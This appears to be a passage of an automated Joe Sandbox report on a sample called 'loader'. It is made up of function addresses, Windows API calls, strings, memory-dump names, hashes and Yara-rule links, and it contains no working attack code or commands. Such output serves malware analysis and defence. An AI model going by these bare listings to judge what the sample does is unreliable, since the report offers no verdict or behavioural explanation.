Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000000,?,002541E0,?,?,00251007,?,0024FAB5), ref: 0025BC77

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: cbf54e58dca917ad80e165eaeedcae1f59c0ccdae1a69508a0f4089dc54ef3fd
Instruction ID: 403cf036fad71b5d1fb414d0b76b7b5a52754c535d3d64da27c4efdcde924c67
Opcode Fuzzy Hash: cbf54e58dca917ad80e165eaeedcae1f59c0ccdae1a69508a0f4089dc54ef3fd
Instruction Fuzzy Hash: 5CE0E5311306126FDA232E75EC05B9E7A489B823B3F140123FC15961D0CFB0DC28C6AC

Non-executed Functions

Function 00254CA2 Relevance: 143.7, APIs: 41, Strings: 41, Instructions: 180libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00254CB6
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00254CC4
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00254CD5
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00254CE6
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00254CF7
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00254D08
GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 00254D19
GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00254D2A
GetProcAddress.KERNEL32(00000000,CreateSemaphoreW), ref: 00254D3B
GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00254D4C
GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00254D5D
GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00254D6E
GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00254D7F
GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00254D90
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00254DA1
GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00254DB2
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00254DC3
GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 00254DD4
GetProcAddress.KERNEL32(00000000,FreeLibraryWhenCallbackReturns), ref: 00254DE5
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumber), ref: 00254DF6
GetProcAddress.KERNEL32(00000000,CreateSymbolicLinkW), ref: 00254E07
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 00254E18
GetProcAddress.KERNEL32(00000000,GetTickCount64), ref: 00254E29
GetProcAddress.KERNEL32(00000000,GetFileInformationByHandleEx), ref: 00254E3A
GetProcAddress.KERNEL32(00000000,SetFileInformationByHandle), ref: 00254E4B
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00254E5C
GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 00254E6D
GetProcAddress.KERNEL32(00000000,WakeConditionVariable), ref: 00254E7E
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00254E8F
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00254EA0
GetProcAddress.KERNEL32(00000000,InitializeSRWLock), ref: 00254EB1
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 00254EC2
GetProcAddress.KERNEL32(00000000,TryAcquireSRWLockExclusive), ref: 00254ED3
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 00254EE4
GetProcAddress.KERNEL32(00000000,SleepConditionVariableSRW), ref: 00254EF5
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWork), ref: 00254F06
GetProcAddress.KERNEL32(00000000,SubmitThreadpoolWork), ref: 00254F17
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWork), ref: 00254F28
GetProcAddress.KERNEL32(00000000,CompareStringEx), ref: 00254F39
GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 00254F4A
GetProcAddress.KERNEL32(00000000,LCMapStringEx), ref: 00254F5B

Strings

WaitForThreadpoolTimerCallbacks, xrefs: 00254D74
CreateThreadpoolTimer, xrefs: 00254D52
SleepConditionVariableSRW, xrefs: 00254EEA
InitializeSRWLock, xrefs: 00254EA6
FlsSetValue, xrefs: 00254CEC
CreateSymbolicLinkW, xrefs: 00254E01
GetSystemTimePreciseAsFileTime, xrefs: 00254E51
FlushProcessWriteBuffers, xrefs: 00254DC9
FlsFree, xrefs: 00254CCA
InitOnceExecuteOnce, xrefs: 00254D0E
SleepConditionVariableCS, xrefs: 00254E95
GetLocaleInfoEx, xrefs: 00254F3F
FlsAlloc, xrefs: 00254CBE
FreeLibraryWhenCallbackReturns, xrefs: 00254DDA
kernel32.dll, xrefs: 00254CB1
GetFileInformationByHandleEx, xrefs: 00254E2F
SetThreadpoolWait, xrefs: 00254DA7
InitializeConditionVariable, xrefs: 00254E62
LCMapStringEx, xrefs: 00254F50
CompareStringEx, xrefs: 00254F2E
GetTickCount64, xrefs: 00254E1E
CreateThreadpoolWait, xrefs: 00254D96
CreateSemaphoreW, xrefs: 00254D30
CreateThreadpoolWork, xrefs: 00254EFB
SetThreadpoolTimer, xrefs: 00254D63
TryAcquireSRWLockExclusive, xrefs: 00254EC8
CreateEventExW, xrefs: 00254D1F
SubmitThreadpoolWork, xrefs: 00254F0C
WakeAllConditionVariable, xrefs: 00254E84
CreateSemaphoreExW, xrefs: 00254D41
CloseThreadpoolWait, xrefs: 00254DB8
ReleaseSRWLockExclusive, xrefs: 00254ED9
FlsGetValue, xrefs: 00254CDB
GetCurrentProcessorNumber, xrefs: 00254DEB
CloseThreadpoolTimer, xrefs: 00254D85
InitializeCriticalSectionEx, xrefs: 00254CFD
CloseThreadpoolWork, xrefs: 00254F1D
AcquireSRWLockExclusive, xrefs: 00254EB7
WakeConditionVariable, xrefs: 00254E73
SetFileInformationByHandle, xrefs: 00254E40
GetCurrentPackageId, xrefs: 00254E0D

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$CloseThreadpoolTimer$CloseThreadpoolWait$CloseThreadpoolWork$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSemaphoreW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$CreateThreadpoolWork$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetFileInformationByHandleEx$GetLocaleInfoEx$GetSystemTimePreciseAsFileTime$GetTickCount64$InitOnceExecuteOnce$InitializeConditionVariable$InitializeCriticalSectionEx$InitializeSRWLock$LCMapStringEx$ReleaseSRWLockExclusive$SetFileInformationByHandle$SetThreadpoolTimer$SetThreadpoolWait$SleepConditionVariableCS$SleepConditionVariableSRW$SubmitThreadpoolWork$TryAcquireSRWLockExclusive$WaitForThreadpoolTimerCallbacks$WakeAllConditionVariable$WakeConditionVariable$kernel32.dll
API String ID: 667068680-295688737
Opcode ID: 213e2054ff3ebcb3b2ee0bde9d2d02857dc85d887696eac70667c3e66d55cab7
Instruction ID: 83dc76c25bfe55de3d6e0c70f3328933ac12788a0e8353ac7a004c428678fc24
Opcode Fuzzy Hash: 213e2054ff3ebcb3b2ee0bde9d2d02857dc85d887696eac70667c3e66d55cab7
Instruction Fuzzy Hash: 1E6112719B6390ABC7117FF4BD4D8E63BACAB1A7067108416F141D3261DFF460D18BA0

Function 0024CE70 Relevance: 8.0, APIs: 5, Instructions: 518threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0024CF90
std::_Throw_Cpp_error.LIBCPMT ref: 0024D216

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID: Cpp_errorCurrentThreadThrow_std::_
String ID:
API String ID: 350343453-0
Opcode ID: 98ddbc906d7a12c26ae99f813a76aef5e5b2a1c2b501bd281773a7ab664fbc5e
Instruction ID: 4c1da474a2608edec852961904191b3e6dc96119e49f27120da64a7a13f1299d
Opcode Fuzzy Hash: 98ddbc906d7a12c26ae99f813a76aef5e5b2a1c2b501bd281773a7ab664fbc5e
Instruction Fuzzy Hash: F0F13B76E605104FEF048A7CC8A83DF6BE28B66334F2B572ADA745B7D2D66744098F40

Function 0025C7DB Relevance: 6.2, APIs: 4, Instructions: 206fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000), ref: 0025C8CB
FindNextFileW.KERNEL32(00000000,?), ref: 0025C9BF
FindClose.KERNEL32(00000000), ref: 0025C9FE
FindClose.KERNEL32(00000000), ref: 0025CA31

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 0ac46507800b6d513eba1a33ad5dfda917826e5b39ca3397adfeb52abfbbe410
Instruction ID: 8a084a0f94dc47510f08a333c0f03a039ebc29acd1d6fb72d6180ae3525c3740
Opcode Fuzzy Hash: 0ac46507800b6d513eba1a33ad5dfda917826e5b39ca3397adfeb52abfbbe410
Instruction Fuzzy Hash: BB71C67181425D5EDF21EF249C8DABABBB9EF05301F2441D9E849A3251FB308E998F58

Function 00255444 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00255450
IsDebuggerPresent.KERNEL32 ref: 0025551C
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0025553C
UnhandledExceptionFilter.KERNEL32(?), ref: 00255546

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 93b5212d9976837812b9161a97f9a163d36ed2ae01b1194bacd10665c280e235
Instruction ID: a55a389b6a7ee64dd59c463825cd4d96488d6977c3c22c43e63f4917ed7daaec
Opcode Fuzzy Hash: 93b5212d9976837812b9161a97f9a163d36ed2ae01b1194bacd10665c280e235
Instruction Fuzzy Hash: 29311875D152289BDF10DFA4D9897CDBBB8BF08305F1041AAE40DAB250EBB09A89CF45

Function 00257DCA Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00257EC2
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00257ECC
UnhandledExceptionFilter.KERNEL32(-00000327,?,?,?,?,?,00000000), ref: 00257ED9

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: bb0cb7595f774e8f5df6d7a1fb51a4f195dd81379f5e84fc842396394c2b8bd9
Instruction ID: 67eb7669607324aed52577ba55fdaef5f6d4394e2d81515cf5b64c590b1c8238
Opcode Fuzzy Hash: bb0cb7595f774e8f5df6d7a1fb51a4f195dd81379f5e84fc842396394c2b8bd9
Instruction Fuzzy Hash: 0731C574951229ABCB21DF24DC89BCDBBB8BF08311F5041EAE81CA7250EB709F958F44

Function 002515A0 Relevance: 4.4, APIs: 2, Instructions: 1444COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 00252437

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID: ___std_exception_destroy
String ID:
API String ID: 4194217158-0
Opcode ID: 98a3b43a19792e8d2a4023bccd33b72c272d3be2fdd28ec1dfa2453bb64d2964
Instruction ID: 9ebecae2b446ba4a77e0783f47b3ae0b0b828577248c876ce7309726eb64010b
Opcode Fuzzy Hash: 98a3b43a19792e8d2a4023bccd33b72c272d3be2fdd28ec1dfa2453bb64d2964
Instruction Fuzzy Hash: C8A28966A555844FEF024AB884B93DF6FE24B6B330F6A2755C6F06F2D3D54B000B9B60

Function 0024D7F0 Relevance: 2.6, Strings: 1, Instructions: 1327COMMONLIBRARYCODE

Download Yara Rule

Strings

-g}5, xrefs: 0024D8D2

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID:
String ID: -g}5
API String ID: 0-4071012034
Opcode ID: 03164c6941d3069a823d5f634ad23cbd2e09675dee81bad40ccb25d1f8f9e6c2
Instruction ID: b9bb5dc74078860389ca6171e451f5afeddf2587b3f5914de28edd55b8d576ff
Opcode Fuzzy Hash: 03164c6941d3069a823d5f634ad23cbd2e09675dee81bad40ccb25d1f8f9e6c2
Instruction Fuzzy Hash: EB92B8A6A556C45FEF024AB8D4A93DF6FF24B6B331F6E2B5586E01F2D3C147004A9B10

Function 00261FD2 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00261F2D,?,?,00000008,?,?,00261AFF,00000000), ref: 002621FF

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 70db76f76b5afcfd478efdea1f7f920aa9784cfa2404c4f25aa287b81e78399d
Instruction ID: a68a102291ce524d837ad7852f67000a085a4a5dca5863a6f50d0251757533db
Opcode Fuzzy Hash: 70db76f76b5afcfd478efdea1f7f920aa9784cfa2404c4f25aa287b81e78399d
Instruction Fuzzy Hash: 34B17131120A09DFDB15CF28C49AB657BE0FF45364F258698E999CF2A1C335D9E6CB40

Function 00255200 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00255216

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 7b0efba9e8484f6bfc282a6296ec49e76d7432e0b0ec6d81252c50678b5b31e6
Instruction ID: 8f67bd55be06f8320cbbf265b511ee6b77c986025b2624de52f8c8973c6b38c1
Opcode Fuzzy Hash: 7b0efba9e8484f6bfc282a6296ec49e76d7432e0b0ec6d81252c50678b5b31e6
Instruction Fuzzy Hash: 3951C07192265A8FEB14CF69E8953AABBF4FB08311F24C46AD805EB250D3B09954CF94

Function 0024F4D0 Relevance: 1.6, Strings: 1, Instructions: 329COMMONLIBRARYCODE

Download Yara Rule

Strings

k#fz, xrefs: 0024F718

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID:
String ID: k#fz
API String ID: 0-1948189604
Opcode ID: f5e00861869e23783ef46955b4dbdfbc15e711bd2b74abe9e620607a79858c9e
Instruction ID: 696d7991b37121c49b759a9ae16d29836c8274cb4daf9e923e8319c9d6dc31c3
Opcode Fuzzy Hash: f5e00861869e23783ef46955b4dbdfbc15e711bd2b74abe9e620607a79858c9e
Instruction Fuzzy Hash: 86D13472E115188FDB54CEBDC94069DB7F2AB88730F1A8329E875FB2D4D6349D418B80

Function 00255438 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00015560), ref: 0025543D

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 114d877ae4af446c77f949f32f5fde3ad47d6bb4825a18bc89f11f3fa12be58d
Instruction ID: f40a207ec1b2e88ae004c9d6b456a5d69ae707c044b76b2eff95a725acbcfc0d
Opcode Fuzzy Hash: 114d877ae4af446c77f949f32f5fde3ad47d6bb4825a18bc89f11f3fa12be58d
Instruction Fuzzy Hash:

Function 00259F90 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00259F90

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: a970e35ecac712793e8dd6a3ddd4cc186761cce75292a627c538718d504de758
Instruction ID: c5eac1de58a9ac0ca21a7d4ed51cd82a2c85621a619d9f0bd43d13b4e62f7ae9
Opcode Fuzzy Hash: a970e35ecac712793e8dd6a3ddd4cc186761cce75292a627c538718d504de758
Instruction Fuzzy Hash: 15A00170A422018B9B409F76BA0D21A3AA9AA46692715C0A9E445C52A0EEB4A4959B01

Function 002486C0 Relevance: .7, Instructions: 725COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e4ba4ef70addc894a218ccea2285737973363f918cd7d055905027e20c6e4c0
Instruction ID: aa4231dd81698c52bace54ce3a7e569b5d51cd3a8dea20f5bb9e6f3511240a70
Opcode Fuzzy Hash: 0e4ba4ef70addc894a218ccea2285737973363f918cd7d055905027e20c6e4c0
Instruction Fuzzy Hash: 6E32D176E542844FEF018ABCC4A83DF6FF25B6A334F2A5719C5A46F3D6D917040A8B50

Function 002534D0 Relevance: .6, Instructions: 607COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fd788ffc31222441f78f0f182766613cd0fd4168f5643e9925b07b3afdc1fd9
Instruction ID: 0b92c06b1fd52ffe900c434701ad44c4be3a87f026b996c9415f8e9194b8b320
Opcode Fuzzy Hash: 5fd788ffc31222441f78f0f182766613cd0fd4168f5643e9925b07b3afdc1fd9
Instruction Fuzzy Hash: 8102C477A915504FEF01497CC8B83DB1FE347AB735E2A2726CAB05B2E2C55B000E9B50

Function 0024F980 Relevance: .5, Instructions: 456COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
